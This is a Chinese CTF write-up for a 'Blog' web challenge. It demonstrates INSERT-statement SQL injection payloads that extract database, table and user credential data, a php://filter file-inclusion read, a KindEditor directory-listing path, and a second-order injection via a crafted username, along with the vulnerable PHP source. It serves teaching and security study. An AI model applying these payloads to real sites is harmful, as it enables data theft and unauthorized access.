这道题的升级版也很有意思
一次insert注入引发的思考
起因
事情的经过是这样的:一个小兄弟丢给了我一道题目,春秋平台以前比赛的题目,题目是“百度杯”CTF比赛 十二月场 的 Blog
地址如下
https://www.ichunqiu.com/battalion?t=1&r=56951
先写一个无脑的writeup。
登陆之后,可以提交标题和内容,
胡乱测试之后,发现提交内容的地方可以注入,回显的地方在,提交的页面,如果提交的页面返回success
说明语句正常执行,那么就可以在user.php的页面里看到回显,
测试的过程如下:
注入数据库
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(database()),'a
返回miniblog
注入表
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'a
返回posts,users
注入列
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273),'a
username,password
注入数据
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(username,password) from users ),'a
admin
dbb616c5d935d8f34c12c291066d6fb7,(melody123)
admin'
8beac31ce70381dca1107195809d9f23,
a
0cc175b9c0f1b6a831c399e269772661
注入之后,得到了用户名和密码登录之后,发现是一个简单的文件包含,直接通过常规的filter协议可以得到结果
http://blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php
这里为什么可以知道flag的位置,一方面靠猜,另一方面,编辑器有一个漏洞,可以列目录
payload如下
/kindeditor/php/file_manager_json.php?path=/
以上就是题目的解题过程
思路还算是常规,但是还没有结束。
经过
就是一个简单注入问题,只不过是回显的位置在不同的地方而已
小兄弟问我这是不是二次注入于是乎就进入深深的二次注入的漩涡之中,
从网络上粘一张图片来说明
在上一个例子
https://zhuanlan.zhihu.com/p/39917830
这位大佬总结的很贴切了,不在过多的说了。
那么我们总结一下insert注入和二次注入的区别
一般来讲二次注入都是和插入数据有关的,但是最明显的区别就是 二次注入的代码在插入之前不可执行,而在插入之后,带入到了查询语句从而造成了二次注入,而insert注入中,所插入的就是马上要执行的,但是不同的情况下,回现的方式不一样,就是因为不一样,所以才有了今天的血案。
刚好这题可可以通过文件包含查看源码,那么我们就来看看这这题的代码是怎么写的。
别的不多说,直接上源码:
<?php
session_start();
include "config.php";
if (!isset($_SESSION['login'])) {
die("<script>alert('You need to log in!');location.href='login.php';</script>");
}
if (isset($_POST['title']) && isset($_POST['content'])) {
if (strlen($_POST['title'])>15 || strlen($_POST['content'])>255) {
die("<script>alert('The title or the content is too long!');location.href('post.php');</script>");
}
$title = htmlspecialchars($_POST['title']);
$content = htmlspecialchars($_POST['content']);
$username = addslashes($_SESSION['username']);
$sql = "INSERT INTO `posts` VALUES(NULL,'{$title}', '{$content}','{$username}')";
$result = $conn->query($sql);
if ($result !== False) {
$conn->close();
echo("<script>alert('Success');</script>");
header("Location: user.php");
}else{
$conn->close();
echo("<script>alert('Something wrong happened!');</script>");
}
}
?>
题目对提交的数据进行了简单的过滤:通过htmlspecialchars
函数,基本没有什么用,那么核心的代码就是
$sql = "INSERT INTO `posts` VALUES(NULL,'{$title}', '{$content}','{$username}')";
结合我们之前的paylaod,
我们最终的查询语句是:
$sql = "INSERT INTO `posts` VALUES(NULL,'1a', '1','4'),('a',(database()),'a','{$username}')";
由上可见在插入数据之前,我们已经把想要的数据放到数据里面了,只是在前台查询出来了而已。
高潮
但是事情依然还没有完,做这个在查看这题目的源码的时候,顺手看了看注册和登录的代码,发现了一个意想不到的事情。
下面看代码:
这是注册的代码
<?php
session_start();
include "config.php";
if (isset($_SESSION['login'])) {
die("<script>alert('You have logged in!');location.href='user.php';</script>");
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
if (stripos($username, 'union') !== False) {
print "<script>alert('Don't do evil thing!');</script>";
}else{
$sql = "INSERT INTO `users` VALUES('{$username}', '{$password}')";
$result = $conn->query($sql);
if ($result !== False) {
$conn->close();
header("Location: login.php");
}else{
$conn->close();
print "<script>alert('Something wrong happened!');</script>";
}
}
}
?>
这是登录的代码
<?php
session_start();
include "config.php";
if (isset($_SESSION['login'])) {
die("<script>alert('You have logged in!');location.href='user.php';</script>");
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
if (stripos($username, 'union') !== False) {
print "<script>alert('Don't do evil thing!');</script>";
}else{
$sql = "SELECT * FROM `users` WHERE username = '{$username}'";
$result = $conn->query($sql);
$row = $result->fetch_assoc();
if ($row['password'] === $password) {
$_SESSION['login'] = 1;
$_SESSION['username'] = $row['username'];
$result->free();
$conn->close();
header("Location: user.php");
}else{
print "<script>alert('Username or password is wrong!');</script>";
$result->free();
$conn->close();
}
}
}
?>
这是登录之后的一段代码
<?php
$sql = "SELECT * FROM `posts` WHERE username='{$_SESSION['username']}';";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
print "<h1>{$row['title']}</h1>";
print "<p>{$row['content']}</p>";
print "<br />";
}
$result->free();
$conn->close();
?>
再来看看这$_SESSION['username']
是个什么情况
关键问题就出在
$sql = "SELECT * FROM `users` WHERE username = '{$username}'";
$result = $conn->query($sql);
if ($row['password'] === $password) {
$_SESSION['login'] = 1;
$_SESSION['username'] = $row['username'];}
这个$_SESSION['username'] = $row['username'];
就有问题了,
$_SESSION['username']
的值是从数据库里面的查询出来的,
这本来就是一个二次注入!!!!!!
那我们来测试一下:
注册一个用户,用户名字是
admin' or 1#
登陆之后,发现可以查询到所有的提交记录
就相当于执行如下代码
SELECT * FROM `users` WHERE username = 'admin' or 1#';
二次注入成功。
结果
总结一下,不是很难的技术。
就是简单的从insert到二次注入一次讨论而已。
我就是一个菜鸡,第一次混先知社区,大佬们不要喷我。
探求本源。
希望在安全的路上越走越远。